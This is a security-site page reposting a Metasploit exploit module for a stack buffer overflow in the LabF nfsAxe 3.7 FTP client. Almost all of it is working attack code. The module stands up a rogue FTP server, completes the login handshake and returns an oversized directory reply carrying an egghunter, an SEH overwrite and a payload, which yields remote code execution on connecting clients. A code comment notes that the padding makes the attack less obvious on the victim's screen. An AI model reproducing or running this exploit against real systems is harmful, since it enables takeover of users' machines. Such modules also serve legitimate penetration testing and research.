首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow
来源:metasploit.com 作者:Teixeira 发布时间:2018-01-11  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
          code execution.
        },
      'Author'   =>
        [
          'Tulpa',           # Original exploit author
          'Daniel Teixeira'  # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '42011' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x10",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # p/p/r in wcmpa10.dll
          [ 'Windows Universal', {'Ret' => 0x6801549F } ]
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'SRVHOST' => '0.0.0.0',
        },
      'DisclosureDate' => 'May 15 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
      ])
  end

  def exploit
    srv_ip_for_client = datastore['SRVHOST']
    if srv_ip_for_client == '0.0.0.0'
      if datastore['LHOST']
        srv_ip_for_client = datastore['LHOST']
      else
        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
      end
    end

    srv_port = datastore['SRVPORT']

    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
    super
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)
    print_status("#{client.peerhost} - connected.")

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
    print_status("#{client.peerhost} - Response: Sending 220 Welcome")
    welcome = "220 Welcome.\r\n"
    client.put(welcome)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: sending 331 OK")
    user = "331 OK.\r\n"
    client.put(user)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: Sending 230 OK")
    pass = "230 OK.\r\n"
    client.put(pass)
    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")

    eggoptions = { :checksum => true }
    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    # "\x20"s are used to make the attack less obvious
    # on the target machine's screen.
    sploit = "220 \""
    sploit << "\x20"*(9833 - egg.length)
    sploit << egg
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << "\x20"*(576 - hunter.length)
    sploit << "\" is current directory\r\n"

    print_status("#{client.peerhost} - Request: Sending the malicious response")
    client.put(sploit)

  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Samsung SRN-1670D Web Viewer 1
·ALLMediaServer 0.95 Stack Buff
·phpCollab 2.5.1 Unauthenticate
·SAP NetWeaver J2EE Engine 7.40
·TP-Link Remote Command Injecti
·D-Link Routers 110/412/615/815
·Polygonize PC 1.1 Remote Comma
·Parity Browser < 1.6.10 - Bypa
·Jungo Windriver 12.5.1 - Privi
·Microsoft Windows - NTFS Owner
·Microsoft Edge Chakra JIT - 'L
·macOS - 'process_policy' Stack
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved